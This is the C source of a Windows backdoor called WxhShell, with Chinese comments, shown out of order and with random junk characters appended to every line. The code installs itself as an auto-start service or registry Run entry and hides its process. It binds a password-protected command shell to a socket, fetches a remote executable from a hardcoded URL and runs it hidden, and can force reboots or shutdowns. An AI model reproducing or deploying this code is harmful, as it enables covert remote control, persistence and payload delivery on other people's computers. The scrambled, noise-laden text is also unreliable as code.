    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '%ByFZ zi  
    if(Boot(SHUTDOWN)) +1I 7K|M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Bv V89  
    else { :IU<AG6  
    closesocket(wsh); Z t4q= Lr  
    ExitThread(0); Buso `G  
    } =E$bZe8  
    break; A9g/At_  
    } e|W;(@$<  
  // 获取shell H0 Z o.Np  
  case 's': { j D*<M/4  
    CmdShell(wsh); /NjBC[P  
    closesocket(wsh); auB 931|  
    ExitThread(0); :{^~&jgL  
    break; c#CV5J\Kk3  
  } *3P+K:2lNG  
  // 退出 am !ssF5s  
  case 'x': { 2D:,(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H)h^|A/vO  
    CloseIt(wsh); *DvX|| `&  
    break; g-jg;Ri  
    } oOc-1C y  
  // 离开 dl3;A_ 2  
  case 'q': { +*xc4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r`"T{o\e   
    closesocket(wsh); Tt9cX}&&  
    WSACleanup(); k q]E@tE*3  
    exit(1); j^;P=L0=  
    break; GqNOWK2O  
        } E<}sGzMc  
  } ev0>j4Q  
  } 8ki3>"!A  
mR|5$1[b  
  // 提示信息 4!OGNr$V@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pEz^z9  
} T{^P  
  }  r73W. &  
l*]hUPJ  
  return; _;0RW  
} CS(XN>N  
6FJ*eWPC  
// shell模块句柄 ,\X ! :y~  
int CmdShell(SOCKET sock) {}8C/4iP  
{ 6]Q#4  
STARTUPINFO si; 94et ]u%7  
ZeroMemory(&si,sizeof(si)); YjnQ@IfIH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; - f ^ ! R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b{,v?7^4  
PROCESS_INFORMATION ProcessInfo; w&T\8k=  
char cmdline[]="cmd"; Q"U%]2@=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  *U6+b  
  return 0; ;du},>T$n  
} /\<x8BJ  
Z*f%R\u  
// 自身启动模式 bcvm]aPu  
int StartFromService(void) CbW[_\  
{ [&4+ <Nl'  
typedef struct '_V9FWDZ  
{ lyFlJmi,r  
  DWORD ExitStatus; ~OsLbz:  
  DWORD PebBaseAddress; N$ #~&  
  DWORD AffinityMask; uYWgNNxdmo  
  DWORD BasePriority; }y+Qj6dP  
  ULONG UniqueProcessId; ZA. S X|m  
  ULONG InheritedFromUniqueProcessId; 1ig*Xp[  
}   PROCESS_BASIC_INFORMATION;  oJ*,a  
` L 1+j  
PROCNTQSIP NtQueryInformationProcess; N8df1>mW  
aNY-F)XWa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; < `"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z/h]Jos  
GDC@s<[k  
  HANDLE             hProcess; @[?ZwzY:9  
  PROCESS_BASIC_INFORMATION pbi; j0X^,ot@m  
F .Zk};lb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [zm@hxym  
  if(NULL == hInst ) return 0; ||*F. p  
wu eDedz\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n{<}<SVY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5,oLl {S'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A?lR[`'u\  
3M+rFB}tS  
  if (!NtQueryInformationProcess) return 0; ) 3"!Q+  
X<.l(9$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $0K@= 7ms  
  if(!hProcess) return 0; %XeN_ V  
.)+c01  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .tGz,z}  
vV$t`PEY  
  CloseHandle(hProcess); LQr!0p.i"  
RCYv2=m>Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6nE/8m  
if(hProcess==NULL) return 0; ?D2a"a$^  
.%7Le|Fb"  
HMODULE hMod; 9 Xl#$d5  
char procName[255]; 6{^\7`  
unsigned long cbNeeded; +D4m@O  
CmbgEGIh[a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xe_djy'8  
QwpX3 k6  
  CloseHandle(hProcess); 'h0>]A 2|X  
mRC3w(W  
if(strstr(procName,"services")) return 1; // 以服务启动 -6I*k |%8T  
EV Z1Z  
  return 0; // 注册表启动 `pCy:J?d>l  
} LTzdg >\oJ  
@v@F%JCZ  
// 主模块 _eq$C=3Ta  
int StartWxhshell(LPSTR lpCmdLine) #BcUE?K*N  
{ 41d+z>a]  
  SOCKET wsl; <z2.A/L  
BOOL val=TRUE; 2[3t7C  
  int port=0; >itabG-&  
  struct sockaddr_in door; zI,Qc60B  
Y DHP-0?  
  if(wscfg.ws_autoins) Install(); (pv}>1  
 XD8 I.q  
port=atoi(lpCmdLine); onRTX|#  
R_g(6l"3R^  
if(port<=0) port=wscfg.ws_port; UP)< (3YA  
ebJTrh<{  
  WSADATA data; 'Ca;gi !U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;b=diZE  
R= mT J'y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^o _J0 ]m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^78N25RU(  
  door.sin_family = AF_INET; GVlT+Rs7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :Ch XzZ  
  door.sin_port = htons(port); a}f /<-L  
7?uDh'utt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]g;+7  
closesocket(wsl); 1;c>#20  
return 1; C{^I}p  
} R!"|~OO  
,9jk<)m]L  
  if(listen(wsl,2) == INVALID_SOCKET) { "u4x#7n|  
closesocket(wsl); `5h^!="  
return 1; HH7WMYoKY  
} WxO+cB+?  
  Wxhshell(wsl); X>uLGr>  
  WSACleanup(); M[z1B!rT  
.On qj^v  
return 0; XI[n!)3  
gt.F[q3  
} ;>6~}lMgJ  
wE=I3E%  
// 以NT服务方式启动 f&^"[S"\f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L-}Uj^yF  
{ pGR3  
DWORD   status = 0; 3b0|7@_E  
  DWORD   specificError = 0xfffffff; ohx$;j  
fgj$ u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PPySOkmS3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Dzu//_u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BH~zeJ*Pr  
  serviceStatus.dwWin32ExitCode     = 0; z a_0-G%C2  
  serviceStatus.dwServiceSpecificExitCode = 0; Tq )hAZ  
  serviceStatus.dwCheckPoint       = 0; \}.bTca  
  serviceStatus.dwWaitHint       = 0; j} /).O  
`W+-0F@Y?@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bfncO[Q,?  
  if (hServiceStatusHandle==0) return; .5s58H cg,  
D]"W|.6@  
status = GetLastError(); +HUy,@^ Pa  
  if (status!=NO_ERROR) B/@LE{qUn  
{ XgnNYy6W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LprGsqr:  
    serviceStatus.dwCheckPoint       = 0; 3w |5%`  
    serviceStatus.dwWaitHint       = 0; )7+z/y+[n  
    serviceStatus.dwWin32ExitCode     = status; hO3 q|SL  
    serviceStatus.dwServiceSpecificExitCode = specificError; `p* 43nV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aN*{nW  
    return; iZ}c[hC'3`  
  } }0anssC  
#T>?g5I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u tkdL4G}'  
  serviceStatus.dwCheckPoint       = 0; aj1,h)P  
  serviceStatus.dwWaitHint       = 0; dr&G>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DMDtry?1:  
} ^J hs/HV  
\*{MgwF  
// 处理NT服务事件,比如:启动、停止 Ths~8{dMb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BGj!/E  
{ T _UJ?W  
switch(fdwControl) gXs9qY%=  
{ _U4@W+lhX_  
case SERVICE_CONTROL_STOP: (gVN<Es  
  serviceStatus.dwWin32ExitCode = 0; O"o|8 l}M/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j-**\.4a~  
  serviceStatus.dwCheckPoint   = 0; oidK_mU9q  
  serviceStatus.dwWaitHint     = 0; n!8W@qhew  
  { i4k [#x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wY%t# [T3  
  } t@MUNW`Q  
  return; 0`WFuFi^o  
case SERVICE_CONTROL_PAUSE: $n!5JS@40  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z>,tP  
  break; U" 3L  
case SERVICE_CONTROL_CONTINUE: JtMl/h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hq<4G:#  
  break; iQ2}*:Jc$  
case SERVICE_CONTROL_INTERROGATE: Vfk"}k/do  
  break; J[Mj8ee#  
}; Ev3'EA~`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {t! &x:  
} V;CRs\aYf  
"mE/t  (  
// 标准应用程序主函数 i!UT =  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k}nGgd6XD  
{ x_<#28H!  
`~VL&o1>  
// 获取操作系统版本 v9 /37AU  
OsIsNt=GetOsVer(); }m^^6h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r 9M3rj]  
QbSLSMoL  
  // 从命令行安装 YG= :lf  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZWS:-]P.  
- uO(qUa#  
  // 下载执行文件 )l m7ly8a|  
if(wscfg.ws_downexe) { 45[,LJaMd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <Dgf'Gr J  
  WinExec(wscfg.ws_filenam,SW_HIDE); gq*W 0S  
} T@P~A)>yo  
tg 'gR  
if(!OsIsNt) { : 4-pnn  
// 如果时win9x,隐藏进程并且设置为注册表启动 Dmy=_j?ej  
HideProc(); qj:[NPwaM  
StartWxhshell(lpCmdLine); keD?#yY  
} ju;OQC~[L]  
else iumwhb  
  if(StartFromService()) XA>uCJf  
  // 以服务方式启动 rB]2qk`/'  
  StartServiceCtrlDispatcher(DispatchTable); ~rjK*_3/  
else Yuf+d-%  
  // 普通方式启动 [X]hb7-&  
  StartWxhshell(lpCmdLine); wxJ"{(;  
[hH>BEtm  
return 0; dD39?K/  
} 8tjWVo  
bxL'k/Y$  
q^^R|X1  
EFI!b60mc  
=========================================== gG.+3=  
xfX|AC  
]lyQ*gM  
) d'H&c3  
daSx^/$R  
6nsb)7a  
" 0i8\Lu6  
#pW!(tfN^a  
#include <stdio.h> ~~"U[G1  
#include <string.h> 9+<A7PM1T  
#include <windows.h> ABp8PD  
#include <winsock2.h> VE/m|3%t  
#include <winsvc.h> 3@O/#CP+  
#include <urlmon.h> ~Hg*vCd ?  
/5epDDP-t5  
#pragma comment (lib, "Ws2_32.lib") \Jc}Hzug  
#pragma comment (lib, "urlmon.lib") nI(w7qhub  
"^{Hta  
#define MAX_USER   100 // 最大客户端连接数 >Q"3dw  
#define BUF_SOCK   200 // sock buffer wfu`(4  
#define KEY_BUFF   255 // 输入 buffer =I&BO[d  
A/lznBHR  
#define REBOOT     0   // 重启 _*sd#  
#define SHUTDOWN   1   // 关机 n[i:$! ,  
[GK## z'5  
#define DEF_PORT   5000 // 监听端口 ,d.5K*?aI  
`{yI| Wf  
#define REG_LEN     16   // 注册表键长度 {`)o xzR  
#define SVC_LEN     80   // NT服务名长度 L:@COy  
f0%'4t  
// 从dll定义API YaQ5Z-c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wpQp1){%Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?=_w5D.3J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kDRxu!/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @_c&lToj_  
g.;2N9  
// wxhshell配置信息 &F[N$6:v  
struct WSCFG { N(J#<;!yb  
  int ws_port;         // 监听端口 '?NMQ  
  char ws_passstr[REG_LEN]; // 口令 , .=7{y~  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2p 7;v7)y  
  char ws_regname[REG_LEN]; // 注册表键名 f` -vnh^+  
  char ws_svcname[REG_LEN]; // 服务名 e iH&<AH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ' < >Q20  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x2b t^!t.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ag(JSVY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \7$"i5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `GY]JVW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3FO-9H  
,|zwY~l t5  
}; 4pcIH5)z  
u~'_Uqp  
// default Wxhshell configuration ,}>b\(Lk  
struct WSCFG wscfg={DEF_PORT, \>j@! W  
    "xuhuanlingzhe", UIIsgNca  
    1, ]*)l_mut7  
    "Wxhshell", i"DyXIrk2  
    "Wxhshell", td$RDtW[3  
            "WxhShell Service", C\{hN  
    "Wrsky Windows CmdShell Service", ^ rO}'~(  
    "Please Input Your Password: ", pD~."fb  
  1, M[iWWCX  
  "http://www.wrsky.com/wxhshell.exe", 37tJ6R6[  
  "Wxhshell.exe" YF;2jl Nm  
    }; 4@ny%_/  
J=O_nup6C  
// 消息定义模块 `tKs|GQf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^foCcO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DI-CC[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4QiV@#o:  
char *msg_ws_ext="\n\rExit."; x @9rc,by  
char *msg_ws_end="\n\rQuit."; fL'Ci;.;+  
char *msg_ws_boot="\n\rReboot..."; "18cD5-#  
char *msg_ws_poff="\n\rShutdown..."; RR/?"d?&  
char *msg_ws_down="\n\rSave to "; F 6+4Yy+  
l[WX77bp=  
char *msg_ws_err="\n\rErr!"; :8+x&zn  
char *msg_ws_ok="\n\rOK!"; A&-2f]L tl  
,^v_gc  
char ExeFile[MAX_PATH]; =XSupM[T  
int nUser = 0; -B7X;{  
HANDLE handles[MAX_USER]; #&K}w 0}k  
int OsIsNt; &t6SI'  
4~nf~  
SERVICE_STATUS       serviceStatus; gKWUHlQY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =|^R<#%/  
~Hx>yn94e  
// 函数声明 KYg'=({x  
int Install(void); Kj4L PG  
int Uninstall(void); Yfz`or\@=  
int DownloadFile(char *sURL, SOCKET wsh); ^8?px&B y:  
int Boot(int flag); RO'b)J:j9  
void HideProc(void); d:z7 U  
int GetOsVer(void); 6s! =de  
int Wxhshell(SOCKET wsl); +J42pSxzoo  
void TalkWithClient(void *cs); Ycxv=Et  
int CmdShell(SOCKET sock); <fgf L9-  
int StartFromService(void); J/Ch /Sa  
int StartWxhshell(LPSTR lpCmdLine); |NFDrm  
>pq=5Ha&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zx?|5=+!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S[&yO-=p6  
$TAsb>W!(  
// 数据结构和表定义 /|v b)J  
SERVICE_TABLE_ENTRY DispatchTable[] = a72L%oJ   
{ m'ZxmsFo  
{wscfg.ws_svcname, NTServiceMain}, ehMpo BL  
{NULL, NULL} 4/2@^\?i)  
}; 99~-TiU  
bl|)/)6o  
// 自我安装 PvxU.  
int Install(void) mMK 93Ng"&  
{ VZk;{  
  char svExeFile[MAX_PATH]; pWoeF=+y]W  
  HKEY key; JY D\VaW  
  strcpy(svExeFile,ExeFile); ZRa~miKyM  
GgvMd~  
// 如果是win9x系统,修改注册表设为自启动 wu} Zu  
if(!OsIsNt) { %=vU Z4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iVM% ]\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )Tn(!.  
  RegCloseKey(key); M=5hp&=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \@ N[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3X`N~_+  
  RegCloseKey(key); 2P|j<~JS  
  return 0; --7@rxv  
    } 5~i}!n  
  } 3#`Sk`z<  
} Te>m9Pav  
else { sA,2gbW  
PiNf;b^9  
// 如果是NT以上系统,安装为系统服务 =cx_3gCr{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lO1]P&@  
if (schSCManager!=0) TSRl@QVy  
{ RAxp2uif  
  SC_HANDLE schService = CreateService J@4 Z+l9  
  ( StLbX?d6  
  schSCManager, AASS'H@  
  wscfg.ws_svcname, {-)I2GJav  
  wscfg.ws_svcdisp, FJ|JXH*  
  SERVICE_ALL_ACCESS, Yjx4H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xl(R|D))  
  SERVICE_AUTO_START, gI+dyoh  
  SERVICE_ERROR_NORMAL, !qs3fe<uh"  
  svExeFile, 1#vi]CX  
  NULL, !~}@Eoii4  
  NULL, r{Z4ifSl(  
  NULL, mr XmM<  
  NULL, i%r+/D)KvG  
  NULL Z4T{CwD`D  
  ); t8~isuiK  
  if (schService!=0) 2t#[$2mg\0  
  { )=#zMdK&  
  CloseServiceHandle(schService); Gnie|[3  
  CloseServiceHandle(schSCManager); 9Om3<der  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6[a;83  
  strcat(svExeFile,wscfg.ws_svcname); 90a!_8o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Okd7ua-f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *Ud P1?Y  
  RegCloseKey(key); p2wDk^$  
  return 0; )JR&  
    } =$< .:b  
  } }I~)o!N%7  
  CloseServiceHandle(schSCManager); R'B-$:u  
} BIjkW.uf  
} p!`S]\XEB  
Mg\8m-L^  
return 1; rJCu6  
} \~>7n'd ]  
H66F4i  
// 自我卸载 `M,Gsy1h  
int Uninstall(void) Rw`64L_  
{ wG&rkg";#  
  HKEY key; <im<0;i&e  
3'tq`t:SQ  
if(!OsIsNt) { poS=8mN8;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;fm> \f  
  RegDeleteValue(key,wscfg.ws_regname); m]ALW0  
  RegCloseKey(key); W@vCMy!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  4{D^ 4G  
  RegDeleteValue(key,wscfg.ws_regname); ?; tz  
  RegCloseKey(key); WWVQJ{,}  
  return 0; A1aN<!ehB  
  } V6^=[s R  
} cx*$GaMk  
} 5Ln !>,  
else { )JA^FQ5N  
xbZR/!?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T2ZN=)xZ1  
if (schSCManager!=0) |h2=9\:]  
{ 81S0:=   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RnUud\T/  
  if (schService!=0) hJ*#t<.<P;  
  { xc1-($Q,  
  if(DeleteService(schService)!=0) { _#6*C%ax  
  CloseServiceHandle(schService); 3^Z@fC  
  CloseServiceHandle(schSCManager); R"O,2+@<.  
  return 0; '6f)^DYA'?  
  } Zy^ wS1io  
  CloseServiceHandle(schService); m/aA q8  
  } )C0 y<:</  
  CloseServiceHandle(schSCManager); M HKnHPv  
} oSkvTK$ &i  
} G8Zl[8  
s'k} .}  
return 1; bHioM{S  
} RWXN  
C=P}@|K  
// 从指定url下载文件 [LKzH!  
int DownloadFile(char *sURL, SOCKET wsh) g,\O}jT\'  
{ &nwk]+,0W#  
  HRESULT hr; LOe l6Ui  
char seps[]= "/"; )*9,H|2nS  
char *token; p 8lm1;  
char *file; .;%`I  
char myURL[MAX_PATH]; O+ J0X*&x  
char myFILE[MAX_PATH]; Q^Q6| n  
(*V:{_r  
strcpy(myURL,sURL); H:,Hr_;nC  
  token=strtok(myURL,seps); FLaj|Z~#)  
  while(token!=NULL) wRe2sjM  
  { CjmF2[|  
    file=token; :2AlvjvjZ  
  token=strtok(NULL,seps); Qsr+f~"W  
  } (bGk=q=M  
NnO%D^P]  
GetCurrentDirectory(MAX_PATH,myFILE); u~1 ,88&U  
strcat(myFILE, "\\"); .N  Z  
strcat(myFILE, file); GBGna3  
  send(wsh,myFILE,strlen(myFILE),0); r5PZ=+F  
send(wsh,"...",3,0); *~8g:;u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kd7Lpw1u]  
  if(hr==S_OK) PS`F  
return 0; \kC'y9k  
else d(9C7GLC,  
return 1; 7$Pf  
-n6e;p]  
} DWk2=cO  
<ua! ]~  
// 系统电源模块 .}iRe}=  
int Boot(int flag) LCok4N$o  
{ O2oF\E_6  
  HANDLE hToken; Twpk@2=l  
  TOKEN_PRIVILEGES tkp; (4FZK7Fm  
F[~~fm_  
  if(OsIsNt) { k3&/Ei5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /=:F w}vt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HnY.=_G  
    tkp.PrivilegeCount = 1; e@g=wN"@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !+n'0{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >,c'Z<TM  
if(flag==REBOOT) { OZ2faf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {R7m qzt  
  return 0; 921s'"  
} cC TTjx{  
else { ` 6pz9j]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X9ec*x  
  return 0; 5YQJNP  
} lYy:A%yDT  
  } .8]=yPm  
  else { L.% zs  
if(flag==REBOOT) { -;GB Xq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )T'~F  
  return 0; mJME1#j$/|  
} =Kt!+^\")  
else { ^'4I%L"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d@{#F"o  
  return 0; ]NY^0SqM  
} ~?KbpB|  
} Lcf]  
3SI%>CO}  
return 1; A}sdi4[`  
} lk4$c1ao2@  
VaTA|=[;  
// win9x进程隐藏模块 A2I\T, Z  
void HideProc(void) +jj] tJ$[  
{ `6{4?v  
{1'M76T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 68nPz".X  
  if ( hKernel != NULL ) UX)QdT45Mh  
  { 2o~UA\:+=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e(jD[q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "_ON0._(/  
    FreeLibrary(hKernel); Ob|v$C  
  } 9zaSA,}  
7lG,.W|  
return; z<8WN[fB  
} ;:P} s4p  
ab*O7v  
// 获取操作系统版本 W(PNw2  
int GetOsVer(void) u\=yY.   
{ &&te(DC\  
  OSVERSIONINFO winfo; \|$GBU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qe]aI7Ei  
  GetVersionEx(&winfo); 2z9N/SyN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^1X 6DH`  
  return 1; gA&`vnNP  
  else sh}eKwh  
  return 0; 'HvJ]}p  
} C40W@*6S2  
T,v5cc:nO  
// 客户端句柄模块 G[Jz(/yNH  
int Wxhshell(SOCKET wsl) TGI`}#  
{ q (}#{OO  
  SOCKET wsh; M[^EHa<i  
  struct sockaddr_in client; ?1Uq ud  
  DWORD myID; ;i&t|5y~  
1#nY Z%  
  while(nUser<MAX_USER) l!%V&HJV  
{ Ol*|J  
  int nSize=sizeof(client); HvW6=d(#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '.#3h$d  
  if(wsh==INVALID_SOCKET) return 1; b%e7rY2  
c~ Q 5A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r%%<   
if(handles[nUser]==0) (sEZNo5n  
  closesocket(wsh); i^V3u  
else fs*OR2YG7  
  nUser++; +}NQ |y V  
  } zO3}c3D~q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "Fqrk>Q~  
G_ 6!w//  
  return 0; #=I5_u  
} u7bji>j  
nLnzl  
// 关闭 socket '#CYw=S+  
void CloseIt(SOCKET wsh) PfJfa/#pA  
{ TU?$yNE  
closesocket(wsh); T0K*!j}O  
nUser--; p.!p6ve){  
ExitThread(0); ivPX_#QI  
} {e83 A /{  
4m6%HV8{}[  
// 客户端请求句柄 ' y_2"  
void TalkWithClient(void *cs) =v~$&@  
{ @<44wMp  
Ve t<,;Te  
  SOCKET wsh=(SOCKET)cs; Lq{/r+tt/  
  char pwd[SVC_LEN]; DO ,7vMO  
  char cmd[KEY_BUFF]; tD No; f  
char chr[1]; !-q)9K?  
int i,j; q8 Rep  
fnudy% oo  
  while (nUser < MAX_USER) { S?# 'Y*h  
ib~EQ?u{  
if(wscfg.ws_passstr) { gBo~NLrf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @ jD#Tn-*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pNc4o@-  
  //ZeroMemory(pwd,KEY_BUFF); LgA> ,.  
      i=0; 2 m2$jp0  
  while(i<SVC_LEN) { {)& b6}2h  
avxI%%|  
  // 设置超时 QykHB k  
  fd_set FdRead; +!"7=?}  
  struct timeval TimeOut; g (V_&Y  
  FD_ZERO(&FdRead); .KF(_ 92  
  FD_SET(wsh,&FdRead); 'z">4{5  
  TimeOut.tv_sec=8; ~JohcU}d  
  TimeOut.tv_usec=0; Fzn#>`qG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _)^`+{N<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;e\K8*o  
IYB;X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _H$Z }2g<z  
  pwd=chr[0]; )Tad]Hd"W  
  if(chr[0]==0xd || chr[0]==0xa) { txy'7t  
  pwd=0; _OR[RGy  
  break; $ Bdxu  
  } a`S3v  
  i++; r }Nq"s<  
    } wI2fCq(a0  
2Q[q)u  
  // 如果是非法用户,关闭 socket `}*jjnr"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vjYG>YhV  
} 8rSu,&<  
H^8t/h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |p":s3K"Hy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^j]"5@f  
d$v{oC }  
while(1) { 8:}$L)[V  
|sV@j_TX  
  ZeroMemory(cmd,KEY_BUFF); juBzpQYj  
vz'<i. Yv4  
      // 自动支持客户端 telnet标准   *uMtl'  
  j=0; 4I3)eS%2  
  while(j<KEY_BUFF) { R|dSjEs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z%I9:(  
  cmd[j]=chr[0]; E0"DHjR  
  if(chr[0]==0xa || chr[0]==0xd) { Xe\,:~  
  cmd[j]=0; kF7`R4Sz  
  break; ,4kipJ!,yK  
  } QlWkK.<Z3_  
  j++; ?+y# t?  
    } pt8#cU\  
7' TXR[   
  // 下载文件 g<N3 L [  
  if(strstr(cmd,"http://")) { &}vc^io  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B~/ejC!  
  if(DownloadFile(cmd,wsh)) }o9(Q8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [N guQ]B.  
  else <N\#6m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / lN09j  
  } Lcy>!3q3~  
  else { -vBk,;^>  
Ix'GP7-m_  
